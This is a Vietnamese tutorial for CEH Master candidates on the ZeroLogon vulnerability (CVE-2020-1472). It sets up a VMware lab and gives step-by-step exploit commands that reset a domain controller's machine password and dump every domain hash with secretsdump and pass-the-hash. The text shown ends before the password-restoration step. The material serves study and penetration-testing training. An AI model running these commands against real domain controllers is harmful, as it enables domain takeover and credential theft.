1. Giới thiệu về Lỗ hổng ZeroLogon và Mục tiêu Hướng dẫn

Tổng quan về CVE-2020-1472

Lỗ hổng ZeroLogon, được định danh là CVE-2020-1472, là một trong những lỗ hổng bảo mật nghiêm trọng nhất được phát hiện trong những năm gần đây, với điểm CVSS (Common Vulnerability Scoring System) tuyệt đối là 10.0/10.0.1 Mức đánh giá này phản ánh mức độ nguy hiểm cực kỳ cao và khả năng bị khai thác dễ dàng với hậu quả nghiêm trọng. Lỗ hổng này tồn tại trong Netlogon Remote Protocol (MS-NRPC), một giao thức quan trọng của Microsoft Windows Server, chịu trách nhiệm xác thực người dùng và máy tính trong một miền Active Directory (AD).1 MS-NRPC là một thành phần cốt lõi, đã tồn tại hàng thập kỷ, và việc phát hiện một lỗ hổng nghiêm trọng như vậy trong một giao thức lâu đời cho thấy rằng ngay cả những công nghệ trưởng thành và được triển khai rộng rãi cũng có thể ẩn chứa những điểm yếu cơ bản với hậu quả thảm khốc. Điều này nhấn mạnh sự cần thiết phải liên tục cảnh giác, nghiên cứu và kiểm thử bảo mật đối với tất cả các thành phần hệ thống, bất kể tuổi đời hay mức độ ổn định của chúng.1

Khai thác thành công lỗ hổng ZeroLogon cho phép một kẻ tấn công, mà không cần bất kỳ thông tin xác thực nào trước đó, có thể chiếm quyền kiểm soát hoàn toàn một Domain Controller (DC) với đặc quyền quản trị viên miền cao nhất.1 Điều này có nghĩa là kẻ tấn công có thể thay đổi mật khẩu, tạo tài khoản, truy cập dữ liệu nhạy cảm và thực hiện bất kỳ hành động nào trên toàn bộ miền. Lỗ hổng này ảnh hưởng đến nhiều phiên bản Windows Server, bao gồm Windows Server 2008 R2, 2012, 2012 R2, 2016 và 2019, trước khi các bản vá được phát hành 2, khiến phạm vi ảnh hưởng của nó trở nên vô cùng rộng lớn.

Tầm quan trọng đối với Kỳ thi CEH Master

Kỳ thi Certified Ethical Hacker (CEH) Master là một bài kiểm tra thực hành đầy thử thách, đòi hỏi các ứng viên phải chứng minh được khả năng thực hiện các kỹ thuật tấn công và phòng thủ trong một môi trường giả lập thực tế, dưới áp lực thời gian.5 Việc hiểu và có khả năng thực hành khai thác các lỗ hổng nghiêm trọng như ZeroLogon là vô cùng quan trọng đối với các ứng viên CEH Master. Lỗ hổng này, với tác động sâu rộng và quy trình khai thác tương đối rõ ràng, cung cấp một kịch bản lý tưởng để kiểm tra các kỹ năng tấn công mạng, leo thang đặc quyền, và sự hiểu biết sâu sắc về Active Directory – những năng lực cốt lõi mà CEH Master hướng tới.5 Nắm vững các kỹ thuật liên quan đến ZeroLogon không chỉ thể hiện khả năng sử dụng công cụ mà còn cho thấy sự hiểu biết về các vector tấn công và phương pháp luận kiểm thử thâm nhập một cách bài bản.

Mục tiêu của Tài liệu Hướng dẫn này

Tài liệu hướng dẫn này được biên soạn với các mục tiêu sau:

  • Cung cấp kiến thức lý thuyết nền tảng và chi tiết về cơ chế hoạt động của lỗ hổng ZeroLogon, giải thích tại sao nó lại nguy hiểm đến vậy.
  • Hướng dẫn từng bước, một cách cụ thể và dễ hiểu, cách thiết lập một môi trường lab ảo an toàn và đầy đủ trên VMware Workstation, sử dụng Windows Server làm Domain Controller và Kali Linux làm máy tấn công.
  • Trình bày quy trình khai thác lỗ hổng ZeroLogon một cách thực tế, từ giai đoạn kiểm tra tính dễ bị tổn thương, thực hiện tấn công, cho đến các bước quan trọng sau khai thác như trích xuất thông tin và khôi phục hệ thống.
  • Đúc kết các bài học kinh nghiệm quan trọng từ việc nghiên cứu và thực hành lỗ hổng này, đồng thời đưa ra các khuyến nghị bảo mật thiết thực cho quản trị viên hệ thống và những lời khuyên ôn luyện hữu ích cho các thí sinh chuẩn bị cho kỳ thi CEH Master.

2. Các Bài học Chính từ Lab ZeroLogon

Việc thực hành với lỗ hổng ZeroLogon mang lại nhiều bài học quý giá, không chỉ về mặt kỹ thuật khai thác mà còn về các nguyên tắc bảo mật cơ bản.

Hiểu rõ Lỗ hổng Cốt lõi trong MS-NRPC

Cốt lõi của lỗ hổng ZeroLogon nằm ở một sai sót nghiêm trọng trong việc triển khai mã hóa của giao thức MS-NRPC. Giao thức này sử dụng thuật toán mã hóa AES ở chế độ Cipher Feedback với kích thước khối 8 bit (AES-CFB8).1 Điểm yếu chí mạng là Vector Khởi tạo (Initialization Vector – IV) được sử dụng cho quá trình mã hóa này luôn được đặt cố định thành một chuỗi 16 byte zero (

0x00000000000000000000000000000000).1 Trong mật mã học, IV phải là một giá trị ngẫu nhiên và duy nhất cho mỗi phiên mã hóa để đảm bảo tính bảo mật; việc sử dụng IV cố định là một vi phạm nghiêm trọng các nguyên tắc thiết kế mật mã an toàn.

Khi IV cố định là zero, và kẻ tấn công có thể kiểm soát một phần dữ liệu đầu vào (plaintext), họ có khả năng dự đoán hoặc thao túng kết quả của quá trình mã hóa. Cụ thể, trong tấn công ZeroLogon, kẻ tấn công gửi các thông điệp Netlogon với trường ClientCredential được chế tạo đặc biệt (thường là toàn bộ các byte zero). Do IV cố định là zero, có một xác suất là 1/256 để một byte bất kỳ trong dữ liệu đã mã hóa (ciphertext – kết quả của việc mã hóa một khóa phiên ngẫu nhiên bằng AES-CFB8 với IV zero) cũng sẽ là zero. Khi byte ciphertext này được XOR với byte tương ứng trong plaintext (mà kẻ tấn công đã kiểm soát và đặt là zero), kết quả sẽ là zero. Nếu tất cả 8 byte của trường ComputedNetlogonCredential (là kết quả của quá trình này) đều là zero, thì quá trình xác thực sẽ thành công mà không cần mật khẩu đúng của tài khoản máy.3 Kẻ tấn công chỉ cần lặp lại yêu cầu này đủ số lần (trung bình 256 lần cho mỗi byte, tổng cộng khoảng 2000 lần cho 8 byte) để đạt được mục tiêu.

Cơ chế Reset Mật khẩu Tài khoản Máy của Domain Controller

Sau khi đã vượt qua được bước xác thực bằng cách khai thác lỗi IV cố định, kẻ tấn công có thể sử dụng một hàm hợp lệ trong giao thức MS-NRPC là NetServerPasswordSet2 để thay đổi mật khẩu của tài khoản máy tính của chính Domain Controller đó.1 Điều đáng nói là hàm này cho phép đặt lại mật khẩu mà không cần biết mật khẩu hiện tại, miễn là phiên Netlogon đã được “xác thực” (dù là một cách giả mạo như trong trường hợp này). Kẻ tấn công thường sẽ đặt mật khẩu tài khoản máy của DC (ví dụ:

DC01$) thành một giá trị trống (NULL) hoặc một giá trị dễ đoán. Hậu quả trực tiếp là mật khẩu của tài khoản máy DC bị thay đổi, mở đường cho kẻ tấn công mạo danh DC hoặc sử dụng tài khoản này với mật khẩu trống để thực hiện các bước tấn công leo thang đặc quyền tiếp theo.

Đạt được Toàn quyền Kiểm soát Miền từ Vị trí Mạng Không Xác thực

Một trong những khía cạnh đáng sợ nhất của ZeroLogon là kẻ tấn công không cần bất kỳ thông tin đăng nhập hợp lệ nào ban đầu. Họ chỉ cần có khả năng thiết lập kết nối TCP đến Domain Controller qua các cổng mà MS-NRPC sử dụng (thường là cổng động RPC được ánh xạ qua port 135, hoặc trực tiếp qua SMB trên port 445).4

Khi mật khẩu tài khoản máy của DC đã bị reset thành trống, kẻ tấn công có thể sử dụng chính tài khoản máy đó (ví dụ: TEN_MIEN\TEN_DC$) với mật khẩu trống để thực hiện các hành vi nguy hiểm, điển hình nhất là DCSync.4 DCSync là một tính năng cho phép các DC sao chép dữ liệu Active Directory với nhau. Kẻ tấn công lạm dụng tính năng này để yêu cầu DC mục tiêu gửi toàn bộ dữ liệu băm mật khẩu (NTLM hashes) được lưu trữ trong cơ sở dữ liệu NTDS.DIT. Điều này bao gồm cả băm mật khẩu của các tài khoản quản trị viên miền tối cao như

Administrator và tài khoản dịch vụ krbtgt (Kerberos Ticket Granting Ticket). Với những băm mật khẩu này, kẻ tấn công có thể dễ dàng thực hiện các cuộc tấn công Pass-the-Hash để đăng nhập vào các hệ thống khác dưới danh nghĩa các tài khoản đó, hoặc tạo ra các Golden Ticket để duy trì quyền truy cập bền vững và toàn diện vào toàn bộ miền.4

Tầm quan trọng của Các Bước Sau Khai thác

Khai thác thành công ZeroLogon không chỉ dừng lại ở việc reset mật khẩu DC. Các bước sau đó mới thực sự mang lại giá trị cho kẻ tấn công và đồng thời cũng là những điểm cần lưu ý đặc biệt cho người thực hành kiểm thử thâm nhập:

  • Dump Hash: Việc sử dụng các công cụ như secretsdump.py từ bộ Impacket là cực kỳ quan trọng để lấy được các băm NTLM của tất cả người dùng và máy tính trong miền, đặc biệt là tài khoản Administrator và krbtgt.9
  • Khôi phục Mật khẩu Gốc: Đây là một bước tối quan trọng, đặc biệt trong môi trường thực tế hoặc các bài kiểm thử thâm nhập chuyên nghiệp. Việc thay đổi mật khẩu tài khoản máy của DC có thể phá vỡ các kênh bảo mật (secure channels) giữa DC và các máy thành viên khác, cũng như giữa các DC với nhau, gây ra gián đoạn dịch vụ nghiêm trọng và làm mất ổn định toàn bộ miền Active Directory.11 Do đó, các kịch bản khai thác có trách nhiệm thường bao gồm việc lưu lại băm NTLM gốc của tài khoản máy DC trước khi reset nó. Sau khi đã hoàn tất việc trích xuất các thông tin cần thiết (như dump hash), kẻ tấn công phải sử dụng băm gốc này để khôi phục lại mật khẩu cũ cho tài khoản máy DC.9

Chuỗi các hành động khai thác ZeroLogon – từ việc lợi dụng lỗ hổng mật mã dẫn đến bỏ qua xác thực, sau đó là reset mật khẩu, rồi thực hiện DCSync – minh họa một chuỗi tấn công (kill chain) cổ điển. Việc không khôi phục mật khẩu của DC sau khi khai thác (hoặc không biết cách làm điều đó) làm nổi bật sự khác biệt quan trọng giữa một bài thực hành lab đơn thuần và một cuộc kiểm thử thâm nhập thực tế, có trách nhiệm. Trong môi trường lab, người học có thể bỏ qua bước này, nhưng trong một hợp đồng thực tế, việc không thực hiện khôi phục có thể gây ra thiệt hại đáng kể và dẫn đến những hậu quả nghiêm trọng, có khả năng phá vỡ quá trình đồng bộ hóa miền và các mối quan hệ tin cậy.11 Điều này nhấn mạnh khía cạnh “ethical” (đạo đức) trong cụm từ “Certified Ethical Hacker”. Phòng lab ZeroLogon trên TryHackMe được đánh giá ở mức “khó” 13, có lẽ một phần vì nó liên quan đến những sự phức tạp đa giai đoạn này và tiềm ẩn nguy cơ làm hỏng hệ thống nếu không cẩn thận.

Tính Nghiêm trọng của Việc Vá Lỗi Kịp thời và Cấu hình An ninh Mạnh mẽ

ZeroLogon là một lời nhắc nhở đanh thép về sự cần thiết của việc áp dụng các bản vá bảo mật ngay khi chúng được nhà cung cấp phát hành.4 Microsoft đã phát hành bản vá cho CVE-2020-1472 vào tháng 8 năm 2020. Ngoài việc vá lỗi, việc kích hoạt “chế độ thực thi” (enforcement mode) cho các kết nối Netlogon an toàn là một biện pháp bổ sung quan trọng để ngăn chặn hoàn toàn các kết nối không tuân thủ, ngay cả từ các thiết bị chưa được vá hoặc của bên thứ ba.15 Đồng thời, việc giám sát chặt chẽ các nhật ký sự kiện (event logs) trên DC để phát hiện các dấu hiệu đăng nhập và thay đổi tài khoản bất thường có thể giúp phát hiện sớm các dấu hiệu của một cuộc tấn công đang diễn ra hoặc đã thành công.17

3. Hướng dẫn Thực hành Chi tiết trên Lab ảo

Phần này sẽ hướng dẫn chi tiết cách xây dựng một môi trường lab ảo và thực hiện tấn công ZeroLogon.

Phần 1: Thiết lập Môi trường Lab

Việc có một môi trường lab được cấu hình đúng cách là điều kiện tiên quyết để thực hành thành công.

Yêu cầu Phần cứng và Phần mềm

  • Máy tính chủ (Windows Host):
  • CPU: Hỗ trợ công nghệ ảo hóa (Intel VT-x hoặc AMD-V), cần được kích hoạt trong BIOS/UEFI.
  • RAM: Tối thiểu 16GB, khuyến nghị 32GB để chạy đồng thời nhiều máy ảo một cách mượt mà.18
  • Dung lượng ổ cứng trống: Ít nhất 100-150GB.
  • Phần mềm Hypervisor: VMware Workstation Pro hoặc VMware Workstation Player (phiên bản mới nhất). Hướng dẫn này sẽ tập trung vào VMware Workstation chạy trên hệ điều hành Windows.18
  • ISO cài đặt Windows Server: Một phiên bản Windows Server dễ bị tổn thương với ZeroLogon (tức là chưa được vá bản vá tháng 8/2020 hoặc các bản vá tích lũy sau đó). Ví dụ: Windows Server 2019 (trước bản vá KB4565349) hoặc Windows Server 2016.2 Việc tìm kiếm một tệp ISO cụ thể chưa được vá có thể gặp khó khăn; người dùng có thể cần tìm các bản dùng thử (evaluation) cũ hoặc thiết lập một máy chủ rồi chủ động
    không cập nhật nó cho mục đích của lab này.
  • ISO cài đặt Kali Linux: Phiên bản mới nhất được tải về từ trang web chính thức của Kali Linux.

Cài đặt VMware Workstation trên Windows

Quá trình cài đặt VMware Workstation khá đơn giản:

  1. Tải xuống tệp cài đặt VMware Workstation từ trang web chính thức của VMware.
  2. Chạy tệp cài đặt và làm theo các hướng dẫn trên màn hình (thường là nhấn “Next” liên tục, chấp nhận các điều khoản sử dụng, và cuối cùng là “Finish”).

Tạo Máy ảo Windows Server

  1. Mở VMware Workstation, chọn “File” > “New Virtual Machine…”
  2. Chọn “Typical (recommended)” cho thiết lập nhanh hoặc “Custom (advanced)” nếu muốn tùy chỉnh sâu hơn.
  3. Chọn “Installer disc image file (iso):” và trỏ đến tệp ISO cài đặt Windows Server đã tải xuống.
  4. Nhập Product Key (nếu có) hoặc chọn bỏ qua để kích hoạt sau (đối với bản dùng thử). Chọn phiên bản Windows Server muốn cài đặt (ví dụ: Windows Server 2019 Standard Evaluation – Desktop Experience).
  5. Đặt tên cho máy ảo (ví dụ: WIN-DC01) và chọn vị trí lưu trữ trên ổ cứng.
  6. Phân bổ dung lượng ổ đĩa cho máy ảo (ví dụ: 60GB). Có thể chọn “Store virtual disk as a single file” hoặc “Split virtual disk into multiple files”.
  7. Trước khi hoàn tất, nhấp vào “Customize Hardware…”:
  • Memory (RAM): Phân bổ tối thiểu 4GB, khuyến nghị 8GB cho một Domain Controller.
  • Processors (CPU): Phân bổ tối thiểu 2 vCPU.
  • Network Adapter: Ban đầu có thể để ở chế độ “NAT”. Cấu hình chi tiết sẽ được thực hiện ở phần sau.
  1. Nhấn “Close” rồi “Finish”. Máy ảo sẽ khởi động và bắt đầu quá trình cài đặt Windows Server.
  2. Thực hiện các bước cài đặt Windows Server chuẩn: chọn ngôn ngữ, chấp nhận điều khoản, chọn “Custom: Install Windows only (advanced)”, chọn ổ đĩa để cài đặt, và chờ quá trình cài đặt hoàn tất. Sau khi cài đặt xong, đặt mật khẩu cho tài khoản Administrator.
  3. Sau khi đăng nhập vào Windows Server, cài đặt VMware Tools (thường từ menu “VM” > “Install VMware Tools…”) để cải thiện hiệu suất đồ họa, chia sẻ tệp và các tính năng khác.

Nâng cấp Windows Server thành Domain Controller

Sau khi Windows Server được cài đặt, cần nâng cấp nó thành một Domain Controller:

  1. Đăng nhập vào Windows Server bằng tài khoản Administrator.
  2. Mở Server Manager (thường tự khởi động).
  3. Nhấp vào “Add roles and features”.
  4. Trong wizard “Add Roles and Features”:
  • Nhấn “Next” ở màn hình “Before You Begin”.
  • Chọn “Role-based or feature-based installation” và nhấn “Next”.
  • Chọn server hiện tại từ danh sách “Server Pool” (thường chỉ có một server) và nhấn “Next”.
  • Trong danh sách “Roles”, chọn “Active Directory Domain Services”. Một cửa sổ pop-up sẽ hiện ra yêu cầu thêm các feature phụ thuộc, nhấp “Add Features”, sau đó nhấn “Next”.
  • Không cần chọn thêm feature nào ở màn hình “Features”, nhấn “Next”.
  • Đọc thông tin về AD DS và nhấn “Next”.
  • Nhấn “Install” để bắt đầu cài đặt vai trò AD DS.
  1. Sau khi quá trình cài đặt vai trò hoàn tất, trong Server Manager, một biểu tượng thông báo (lá cờ màu vàng) sẽ xuất hiện ở góc trên bên phải. Nhấp vào đó và chọn “Promote this server to a domain controller”.19
  2. Trong “Active Directory Domain Services Configuration Wizard”:
  • Chọn “Add a new forest”.
  • Nhập tên miền gốc (Root domain name), ví dụ: cehlab.local.20 Nhấn “Next”.
  • Để Forest functional level và Domain functional level ở các giá trị mặc định (thường là phiên bản Windows Server mới nhất được hỗ trợ).
  • Đảm bảo các tùy chọn “Domain Name System (DNS) server” và “Global Catalog (GC)” được chọn.
  • Nhập mật khẩu cho Directory Services Restore Mode (DSRM). Đây là một mật khẩu quan trọng, cần ghi nhớ cẩn thận. Nhấn “Next”.
  • Bỏ qua cảnh báo về DNS delegation (nếu có) bằng cách nhấn “Next”.
  • Xác nhận NetBIOS domain name (thường được tự động tạo từ tên miền gốc, ví dụ: CEHLAB). Nhấn “Next”.
  • Chỉ định vị trí lưu trữ cho AD DS database, log files, và SYSVOL (thường để mặc định). Nhấn “Next”.
  • Xem lại các lựa chọn cấu hình và nhấn “Next”.
  • Nhấn “Install”. Máy chủ sẽ tự động khởi động lại sau khi quá trình nâng cấp hoàn tất.

Tạo Máy ảo Kali Linux

  1. Trong VMware Workstation, chọn “File” > “New Virtual Machine…”
  2. Chọn “Installer disc image file (iso):” và trỏ đến tệp ISO cài đặt Kali Linux.
  3. VMware thường sẽ nhận diện đây là Linux. Nếu không, chọn Guest OS là “Linux” và Version là “Debian 1x.x 64-bit” (vì Kali dựa trên Debian).
  4. Đặt tên cho máy ảo (ví dụ: KALI-ATTACKER) và chọn vị trí lưu trữ.
  5. Phân bổ dung lượng ổ đĩa (ví dụ: 30-40GB).
  6. Tùy chỉnh phần cứng (“Customize Hardware…”):
  • Memory (RAM): Tối thiểu 2GB, khuyến nghị 4GB.
  • Processors (CPU): Tối thiểu 2 vCPU.
  • Network Adapter: Ban đầu có thể để “NAT”.
  1. Hoàn tất và khởi động máy ảo để bắt đầu quá trình cài đặt Kali Linux.
  2. Thực hiện các bước cài đặt Kali Linux theo hướng dẫn trên màn hình (chọn ngôn ngữ, vị trí, cấu hình bàn phím, đặt hostname, tạo tài khoản người dùng và mật khẩu, phân vùng ổ đĩa – thường chọn “Guided – use entire disk”).
  3. Sau khi cài đặt xong, đăng nhập vào Kali. VMware Tools (dưới dạng open-vm-tools) thường được cài đặt sẵn hoặc có thể dễ dàng cài đặt bằng lệnh sudo apt update && sudo apt install -y open-vm-tools-desktop fuse3. Khởi động lại máy ảo Kali sau khi cài đặt.

Cấu hình Mạng cho Lab

Lựa chọn cấu hình mạng phù hợp là rất quan trọng. Đối với một lab pentest nội bộ như ZeroLogon, mạng Host-Only thường được khuyến nghị vì nó tạo ra một môi trường cô lập, mô phỏng tốt hơn một phân đoạn mạng nội bộ thực tế, nơi các cuộc tấn công như ZeroLogon thường diễn ra.8 Điều này buộc người thực hành phải suy nghĩ về vị trí mạng và các kỹ thuật di chuyển ngang, phù hợp với yêu cầu của kỳ thi CEH Master về việc mô phỏng các kịch bản thực tế.21 Mạng NAT, mặc dù dễ dàng hơn cho việc truy cập Internet, có thể làm mờ ranh giới của vành đai bảo vệ và không phản ánh chính xác môi trường tấn công nội bộ.

  1. Tạo mạng Host-Only trong VMware:
  • Mở VMware Workstation, vào “Edit” > “Virtual Network Editor…”.
  • Nếu được yêu cầu quyền quản trị, nhấp “Change Settings”.
  • Chọn một mạng VMnet chưa sử dụng (ví dụ: VMnet1) hoặc một mạng Host-Only hiện có.
  • Đảm bảo loại mạng là “Host-only”.
  • Bỏ chọn “Connect a host virtual adapter to this network” nếu không muốn máy tính chủ Windows tham gia trực tiếp vào mạng này.
  • Bỏ chọn “Use local DHCP service to distribute IP address to VMs” để cấu hình IP tĩnh hoàn toàn cho các máy ảo, giúp môi trường lab ổn định và dễ dự đoán hơn.
  • Nhấn “Apply” rồi “OK”.
  1. Gán máy ảo vào mạng Host-Only:
  • Đối với máy ảo WIN-DC01: Tắt máy ảo. Vào “Settings” > “Network Adapter”. Chọn “Host-only” và từ menu thả xuống, chọn mạng VMnet đã cấu hình ở trên (ví dụ: VMnet1).
  • Đối với máy ảo KALI-ATTACKER: Tương tự, gán Network Adapter vào cùng mạng Host-Only đó.
  1. Cấu hình IP tĩnh: (Xem bảng đề xuất bên dưới)
  • Trên Windows Server DC (WIN-DC01):
  • Khởi động máy ảo. Mở “Control Panel” > “Network and Internet” > “Network and Sharing Center”.
  • Nhấp vào tên kết nối mạng (ví dụ: “Ethernet0”). Chọn “Properties”.
  • Chọn “Internet Protocol Version 4 (TCP/IPv4)” và nhấp “Properties”.
  • Chọn “Use the following IP address” và điền thông tin IP tĩnh.
  • Chọn “Use the following DNS server addresses” và đặt “Preferred DNS server” là 127.0.0.1 (vì DC cũng là DNS server cho chính nó).
  • Trên Kali Linux (KALI-ATTACKER):
  • Khởi động máy ảo. Mở Terminal.
  • Sử dụng trình quản lý mạng GUI (thường ở góc trên bên phải) để chỉnh sửa kết nối hoặc chỉnh sửa tệp cấu hình mạng (ví dụ: /etc/network/interfaces hoặc sử dụng nmtui).
  • Đặt IP tĩnh, Subnet mask, Default gateway (trỏ đến IP của DC), và DNS server (trỏ đến IP của DC).22
  1. Kiểm tra kết nối:
  • Từ máy Kali Linux, mở Terminal và ping địa chỉ IP của WIN-DC01.
  • Từ WIN-DC01, mở Command Prompt và ping địa chỉ IP của KALI-ATTACKER.
  • Nếu ping không thành công, kiểm tra lại cấu hình IP, đảm bảo cả hai máy ảo đều thuộc cùng một mạng Host-Only, và tạm thời tắt Windows Firewall trên WIN-DC01 cho mục đích kiểm tra ban đầu (Start > gõ “Windows Defender Firewall” > “Turn Windows Defender Firewall on or off” > chọn “Turn off…” cho cả Private và Public. Lưu ý: Chỉ tắt firewall trong môi trường lab cô lập; không bao giờ làm điều này trên hệ thống sản xuất).

Việc sử dụng địa chỉ IP tĩnh và một sơ đồ địa chỉ rõ ràng giúp đảm bảo tính nhất quán, tránh xung đột IP và làm cho việc theo dõi các bước hướng dẫn trở nên dễ dàng hơn. Đây cũng là một thực hành tốt, phản ánh sự cần thiết của việc lập kế hoạch mạng tỉ mỉ trong các tình huống thực tế.

Bảng Đề xuất: Sơ đồ Địa chỉ IP cho Lab (Giả sử sử dụng VMnet1 với dải 192.168.77.0/24)

| Máy ảo (VM) | Mục đích | Card Mạng VMware | Địa chỉ IP Tĩnh | Subnet Mask | Default Gateway | Preferred DNS Server |

| —————– | ——————– | —————— | ————— | ————- | —————– | ——————– |

| WIN-DC01 | Domain Controller | Host-Only (VMnet1) | 192.168.77.10 | 255.255.255.0 | (Để trống) | 127.0.0.1 |

| KALI-ATTACKER | Máy tấn công | Host-Only (VMnet1) | 192.168.77.20 | 255.255.255.0 | 192.168.77.10 | 192.168.77.10 |

Phần 2: Thực hiện Tấn công ZeroLogon

Sau khi môi trường lab đã sẵn sàng, chúng ta sẽ tiến hành các bước khai thác lỗ hổng ZeroLogon.

Chuẩn bị trên Máy Kali Linux

  1. Mở một cửa sổ Terminal trên máy Kali Linux.
  2. Cập nhật hệ thống:
    Bash
    sudo apt update && sudo apt full-upgrade -y
  3. Cài đặt các gói cần thiết (Python3 và pip thường đã có sẵn, nhưng đảm bảo chúng được cài đặt):
    Bash
    sudo apt install -y python3 python3-pip git
  4. Cài đặt thư viện Impacket. Đây là một bước quan trọng, vì các script khai thác ZeroLogon phụ thuộc nhiều vào Impacket. Để đảm bảo có các cấu trúc Netlogon mới nhất cần thiết cho ZeroLogon, khuyến nghị cài đặt phiên bản mới nhất trực tiếp từ kho lưu trữ GitHub của Impacket, thay vì phiên bản có thể đã cũ trong repository của Kali.23 Nếu Kali đã cài sẵn một phiên bản Impacket từ
    apt, cần gỡ bỏ nó trước để tránh xung đột.24

Bảng Đề xuất: Lệnh cài đặt Impacket và Dependencies

| Bước | Lệnh | Ghi chú |

| —————————————— | —————————————————————————————— | —————————————————————————————————— |

| Gỡ bỏ Impacket cũ (nếu có từ apt) | sudo apt remove python3-impacket –purge -y | Tránh xung đột phiên bản. |

| Cài đặt pip cho Python 3 (nếu chưa có) | sudo apt install python3-pip -y | |

| Cài đặt Impacket mới nhất từ GitHub | sudo python3 -m pip install git+https://github.com/fortra/impacket.git | Đảm bảo có các cấu trúc Netlogon mới nhất.9 (Lưu ý: URL repo có thể thay đổi, kiểm tra repo chính thức của Impacket). |

| Tải script kiểm tra của Secura (tùy chọn) | git clone https://github.com/SecuraBV/CVE-2020-1472.git | 23 |

| Di chuyển vào thư mục script Secura | cd CVE-2020-1472/ | |

| Cài dependencies cho script Secura | sudo python3 -m pip install -r requirements.txt | Nếu sử dụng script của Secura. |

| Quay lại thư mục home (ví dụ) | cd ~ | |

| Tải script khai thác của dirkjanm | git clone https://github.com/dirkjanm/CVE-2020-1472.git |.24 Đây là script chính sẽ được sử dụng trong hướng dẫn này. |

| Di chuyển vào thư mục script dirkjanm | cd CVE-2020-1472/ | |

Việc cài đặt sai phiên bản Impacket là một lỗi phổ biến có thể dẫn đến việc script không chạy hoặc báo lỗi import.24 Thực hiện đúng các bước trên giúp thiết lập môi trường chính xác ngay từ đầu, tiết kiệm thời gian gỡ lỗi và nhấn mạnh tầm quan trọng của việc quản lý dependencies, một kỹ năng thực tế cho pentester.

Bước 1: Kiểm tra Tính dễ bị tổn thương của Domain Controller

Trước khi thực hiện khai thác, cần kiểm tra xem DC có thực sự dễ bị tổn thương hay không. Script zerologon_tester.py của Secura là một công cụ an toàn để làm điều này, vì nó chỉ cố gắng thực hiện việc bỏ qua xác thực Netlogon và sẽ dừng ngay lập tức nếu thành công, không thực hiện bất kỳ thao tác nào làm thay đổi hệ thống.2

Bảng Đề xuất: Cú pháp và Ví dụ cho zerologon_tester.py

| Tham số | Mô tả | Ví dụ (WIN-DC01 tại 192.168.77.10) |

| —————– | ————————————- | ————————————— |

| DC_NETBIOS_NAME | Tên NetBIOS của Domain Controller | WIN-DC01 |

| DC_IP_ADDRESS | Địa chỉ IP của Domain Controller | 192.168.77.10 |

| Lệnh đầy đủ | python3 zerologon_tester.py WIN-DC01 192.168.77.10 (Chạy từ thư mục chứa script của Secura) | |

  • Phân tích output:
  • Nếu DC dễ bị tổn thương, script sẽ hiển thị thông báo tương tự: “Success! DC can be fully compromised by a Zerologon attack.”.2
  • Nếu DC đã được vá, script sẽ thử nhiều lần (mặc định 2000 lần) và kết luận: “Target is NOT vulnerable. False negative chance: 0.04%”.23
  • Lỗi STATUS_INVALID_COMPUTER_NAME có thể xảy ra nếu tên NetBIOS của DC được cung cấp không chính xác.23

Bước 2: Khai thác Lỗ hổng để Reset Mật khẩu Máy DC

Sau khi xác nhận DC dễ bị tổn thương, bước tiếp theo là thực sự khai thác lỗ hổng để reset mật khẩu tài khoản máy của DC về giá trị NULL (trống). Script cve-2020-1472-exploit.py từ kho lưu trữ của dirkjanm thường được sử dụng cho mục đích này.9

Bảng Đề xuất: Cú pháp và Ví dụ cho cve-2020-1472-exploit.py (script của dirkjanm)

| Tham số | Mô tả | Ví dụ (WIN-DC01 tại 192.168.77.10) |

| ————— | ————————————- | ————————————— |

| DC_NETBIOS_NAME | Tên NetBIOS của Domain Controller | WIN-DC01 |

| DC_IP_ADDRESS | Địa chỉ IP của Domain Controller | 192.168.77.10 |

| Lệnh đầy đủ | python3 cve-2020-1472-exploit.py WIN-DC01 192.168.77.10 (Chạy từ thư mục chứa script của dirkjanm, một số phiên bản có thể yêu cầu -dc-name và -dc-ip rõ ràng) | |

  • Output mong đợi: Script sẽ thực hiện một loạt các nỗ lực xác thực. Nếu thành công, nó sẽ hiển thị thông báo như “Exploit complete! DC machine account should be nullified.” hoặc tương tự, cho biết mật khẩu tài khoản máy của DC (ví dụ: WIN-DC01$) đã được đặt thành NULL.
  • Cảnh báo quan trọng: Bước này thực sự thay đổi mật khẩu tài khoản máy của DC. Nếu không khôi phục lại mật khẩu gốc sau khi hoàn thành các bước tấn công, nó có thể gây ra sự cố nghiêm trọng cho hoạt động của miền Active Directory, bao gồm việc phá vỡ các kênh bảo mật và đồng bộ hóa.11

Bước 3: Dump Hash sử dụng secretsdump.py

Khi mật khẩu tài khoản máy của DC đã bị reset thành NULL, kẻ tấn công có thể sử dụng tài khoản máy đó (ví dụ: CEHLAB\WIN-DC01$) với mật khẩu trống để thực hiện DCSync và trích xuất tất cả các băm NTLM từ cơ sở dữ liệu Active Directory. Công cụ secretsdump.py từ bộ Impacket là lựa chọn hàng đầu cho việc này.

Quy trình dump hash hiệu quả thường bao gồm hai giai đoạn để lấy được cả hash của các tài khoản quan trọng và mật khẩu gốc (dưới dạng hex) của tài khoản máy DC, cần thiết cho việc khôi phục sau này 11:

Bảng Đề xuất: Cú pháp và Ví dụ cho secretsdump.py (Post-ZeroLogon)

| Giai đoạn | Lệnh | Mục tiêu |

| ——————————————— | ————————————————————————————————————————————————————————————————— | ————————————————————————————————————————————————————————————— |

| 1. Dump với mật khẩu NULL của tài khoản máy DC | sudo python3 /usr/local/bin/secretsdump.py -just-dc -no-pass CEHLAB/WIN-DC01\$@192.168.77.10 (Đường dẫn đến secretsdump.py có thể thay đổi tùy theo cách cài đặt Impacket) | Lấy NTLM hash của tài khoản Administrator và các tài khoản khác. Ghi lại hash của Administrator (ví dụ: LMhash:NThash). |

| 2. Dump với quyền Administrator (sử dụng hash đã lấy) | sudo python3 /usr/local/bin/secretsdump.py -just-dc -hashes <ADMIN_LM_HASH>:<ADMIN_NTLM_HASH> CEHLAB/Administrator@192.168.77.10 (Thay <ADMIN_LM_HASH>:<ADMIN_NTLM_HASH> bằng hash thực tế) | Tìm dòng chứa thông tin tài khoản máy DC, ví dụ WIN-DC01$. Trong đó sẽ có một trường như ‘$MACHINE.ACC:plain_password_hex:…’. Đây chính là mật khẩu gốc của tài khoản máy DC dưới dạng hex, cần lưu lại để khôi phục. |

  • Output: secretsdump.py sẽ hiển thị danh sách các tài khoản người dùng và máy tính cùng với băm NTLM của họ. Hãy đặc biệt chú ý đến hash của tài khoản Administrator (hoặc các tài khoản quản trị miền khác) và krbtgt.
  • Giá trị plain_password_hex thu được ở Giai đoạn 2 là cực kỳ quan trọng cho bước khôi phục mật khẩu.

